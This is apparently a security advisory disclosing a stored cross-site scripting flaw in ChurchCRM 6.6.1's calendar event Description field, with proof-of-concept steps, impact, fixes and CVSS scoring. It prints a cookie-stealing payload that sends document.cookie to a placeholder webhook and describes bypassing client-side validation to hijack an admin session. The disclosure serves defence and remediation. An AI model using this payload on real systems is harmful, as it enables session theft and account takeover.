Skip to content

Stored Cross-Site Scripting (XSS) in Create Events in Church Calendar Leading to Account Takeover (ChurchCRM latest version 6.6.1)

Critical
DawoudIO published GHSA-49qp-cfqx-c767 Jan 30, 2026

Package

No package listed

Affected versions

6.6.1

Patched versions

None

Description

Stored Cross-Site Scripting (XSS) in Create Events in Church Calendar Leading to Account Takeover (ChurchCRM latest version 6.6.1)

Date: January 5, 2026
Researcher: Nguyen Truong Son (truongson526@gmail.com)

Summary

The Stored Cross-Site Scripting (XSS) vulnerability occurs in Create Events in Church Calendar. Users with low privileges can create XSS payloads in the Description field. This payload is stored in the database, and when other users view that event (including the admin), the payload is triggered, leading to account takeover.

Details

When creating an event in the Calendar section, user input is only validated in the user interface. An attacker can use Burp Suite to intercept the request, then modify the XSS payload in the Description field. The XSS payload will then be stored in the database. When another user views the event created by the attacker, the payload is triggered, and the attacker obtains the user's cookie, leading to account takeover.
Vulnerable Fields:
POST /api/events/{id}
Name of JSON field: Desc

PoC

Video PoC: https://drive.google.com/drive/u/0/folders/12baz_wj1_MGeMZe6ah5NxqGDlitJFw_e

  1. Login as low privilege user
  • I created a new user who only has the right to create events in Calendar (Username: attacker_1)
1 2
  1. Log in as user “attacker_1” and go to the Calendar section.
3
  1. Create a new event with the following content, turn on Intercept in Burp Suite, then click “Save”
4 5
  • Description: <img src=x onerror=fetch('{webhook URL}?cookie='+document.cookie)>
  1. In Intercept tab, you can see that the value of the Desc field is being validated.
6
  • Send request to Repeater, modify the value of the Desc field:
7
  • Click “Send”
8
  • Drop request in Intercept tab, then turn off intercept. The newly created event is now displayed on the interface.
9
  1. Login as admin (Church Admin), go to Calendar Section, then click on the event that the attacker just created (Attacker event). Observing the results on the Webhook, noticed that cookies were being sent.
10
  • Replace the obtained cookie -> Reload page -> Gain admin account access.
11 12

Impact

  • Session hijacking / account takeover: Theft or use of victims’ session tokens or performance of state-changing actions via the victim’s session.
  • Privilege escalation: Targeting admins/moderators reviewing content can lead to full application compromise.
  • Data exposure & integrity loss: Read/modify user data, change account settings, initiate transactions, add backdoor admins, etc.
  • Wider compromise: Can be chained with CSRF bypasses, OAuth token theft (if tokens handled in DOM), or service worker abuse.

Recommendation

  • Implement output encoding (htmlspecialchars) for all field renderings.
  • Validate and sanitize data on server-side.
  • Consider use of a central escaping library or templating engine.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

CVE ID

CVE-2026-24855

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

Credits